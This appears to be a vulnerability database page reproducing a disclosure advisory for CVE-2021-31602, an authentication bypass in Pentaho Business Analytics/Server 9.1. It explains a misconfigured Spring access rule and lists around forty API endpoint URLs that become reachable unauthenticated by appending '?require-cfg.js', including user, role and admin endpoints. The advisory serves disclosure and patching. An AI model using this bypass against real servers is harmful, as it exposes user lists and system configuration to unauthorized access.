| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| Pentaho Business Analytics / Pentaho Business Server 9.1 SQL Injection Vulnerability | 7 Nov 202100:00 | – | zdt | |
| CVE-2021-31602 | 8 Nov 202107:28 | – | circl | |
| Hitachi Vantara Pentaho 授权问题漏洞 | 5 Nov 202100:00 | – | cnnvd | |
| CVE-2021-31602 | 8 Nov 202103:30 | – | cve | |
| CVE-2021-31602 | 8 Nov 202103:30 | – | cvelist | |
| Hitachi Vantara Pentaho/Business Intelligence Server - Authentication Bypass | 8 Jun 202604:09 | – | nuclei | |
| CVE-2021-31602 | 8 Nov 202104:15 | – | nvd | |
| Pentaho Business Analytics / Pentaho Business Server 9.1 Authentication Bypass | 5 Nov 202100:00 | – | packetstorm | |
| Pentaho Business Analytics / Pentaho Business Server 9.1 SQL Injection | 5 Nov 202100:00 | – | packetstorm | |
| Default configuration | 8 Nov 202104:15 | – | prion |
Product: Pentaho Business Analytics / Pentaho Business Server
Vendor / Manufacturer: Hitachi Vantara
Affected Version(s): <= 9.1
Vulnerability Type: Authentication Bypass of Spring APIs
Solution Status: Fix Released on public GitHub repository
Manufacturer Notification: 8th February 2021
Solution Date: May 2021
Public Disclosure: 01 November 2021
CVE Reference: CVE-2021-31602
Author(s) of Advisory: Alberto Favero ( HawSec ) & Altion Malka
--- ### --- ### ---
Product Description:
Pentaho is business intelligence (BI) software that provides data
integration, OLAP services, reporting, information dashboards, data mining
and extract, transform, load (ETL) capabilities. Its headquarters are in
Orlando, Florida. Pentaho was acquired by Hitachi Data Systems in 2015 and
in 2017 became part of Hitachi Vantara.
( Source: https://en.wikipedia.org/wiki/Pentaho )
--- ### --- ### ---
Vulnerability Details:
The security model of Pentaho Business Analytics consists of different
layers of Access Control (AC). The applicationContext directives defined in
the applicationContext-spring-security.xml file were of particular interest
and further examination of the access control entries revealed the
following misconfigurations.
--- ~~~ --- ~~~ ---
<sec:intercept-url pattern="\A/api/.*require-cfg.js.*\Z"
access="Anonymous,Authenticated" />
<sec:intercept-url pattern="\A/api/.*require-js-cfg.js.*\Z"
access="Anonymous,Authenticated" />
<sec:intercept-url pattern="\A/api/.*\Z" access="Authenticated" />
--- ~~~ --- ~~~ ---
Specifically, the last directive explicitly declares that the available
endpoints require that users are authenticated. However, the first and
second directives bypass this requirement by allowing unauthenticated
access to arbitrary "/api/*" endpoints when the "?require-cfg.js" URL
parameter is present. As a result, it is possible for unauthenticated users
to access arbitrary Pentaho API endpoints by including the
"?require-cfg.js" or "?require-js-cfg.js" URL parameter as part of the HTTP
request.
For example, the following URL can be used to retrieve the Pentaho API
version, http://localhost:8080/pentaho/api/version/show?require-cfg.js
--- ### --- ### ---
Proof of Concept (PoC):
See Ginger ( https://github.com/HawSec/ginger )
or
The following is a non-exhaustive list of the Pentaho API endpoints
susceptible to this vulnerability.
http://localhost:8080/pentaho/api/version/show?require-cfg.js
http://localhost:8080/pentaho/api/version/softwareUpdates?require-cfg.js
http://localhost:8080/pentaho/api/emailconfig/isValid?require-cfg.js
http://localhost:8080/pentaho/api/authorization/action/isauthorized?require-cfg.js
http://localhost:8080/pentaho/api/userroledao/userRoles?require-cfg.js
http://localhost:8080/pentaho/api/system/locale?require-cfg.js
http://localhost:8080/pentaho/api/system/timezones?require-cfg.js
http://localhost:8080/pentaho/api/system/executableTypes?require-cfg.js
http://localhost:8080/pentaho/api/theme/list?require-cfg.js
http://localhost:8080/pentaho/api/theme/active?require-cfg.js
http://localhost:8080/pentaho/api/userrolelist/users?require-cfg.js
http://localhost:8080/pentaho/api/userrolelist/roles?require-cfg.js
http://localhost:8080/pentaho/api/userrolelist/allRoles?require-cfg.js
http://localhost:8080/pentaho/api/userrolelist/systemRoles?require-cfg.js
http://localhost:8080/pentaho/api/userrolelist/extraRoles?require-cfg.js
http://localhost:8080/pentaho/api/userrolelist/permission-users?require-cfg.js
http://localhost:8080/pentaho/api/userrolelist/permission-roles?require-cfg.js
http://localhost:8080/pentaho/api/scheduler/state?require-cfg.js
http://localhost:8080/pentaho/api/scheduler/jobinfotest?require-cfg.js
http://localhost:8080/pentaho/api/scheduler/blockout/blockoutjobs?require-cfg.js
http://localhost:8080/pentaho/api/scheduler/blockout/hasblockouts?require-cfg.js
http://localhost:8080/pentaho/api/scheduler/blockout/shouldFireNow?require-cfg.js
http://localhost:8080/pentaho/api/scheduler/generatedContentForSchedule?require-cfg.js
http://localhost:8080/pentaho/api/repos/executableTypes?require-cfg.js
http://localhost:8080/pentaho/api/plugin-manager/overlays?require-cfg.js
http://localhost:8080/pentaho/api/mantle/locale?require-cfg.js
http://localhost:8080/pentaho/api/mantle/isAuthenticated?require-cfg.js
http://localhost:8080/pentaho/api/mantle/getAdminContent?require-cfg.js
http://localhost:8080/pentaho/api/mantle/settings?require-cfg.js
http://localhost:8080/pentaho/api/mantle/registeredPlugins?require-cfg.js
http://localhost:8080/pentaho/api/service/assignment?require-cfg.js
http://localhost:8080/pentaho/api/repo/files/reservedCharacters?require-cfg.js
http://localhost:8080/pentaho/api/repo/files/generatedContentForSchedule?require-cfg.js
http://localhost:8080/pentaho/api/repo/files/canAdminister?require-cfg.js
http://localhost:8080/pentaho/api/repo/files/reservedCharactersDisplay?require-cfg.js
http://localhost:8080/pentaho/api/session/userName?require-cfg.js
http://localhost:8080/pentaho/api/session/workspaceDirForUser/{user}?require-cfg.js
http://localhost:8080/pentaho/api/session/setredirect?require-cfg.js
http://localhost:8080/pentaho/api/session/userWorkspaceDir?require-cfg.js
--- ### --- ### ---
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation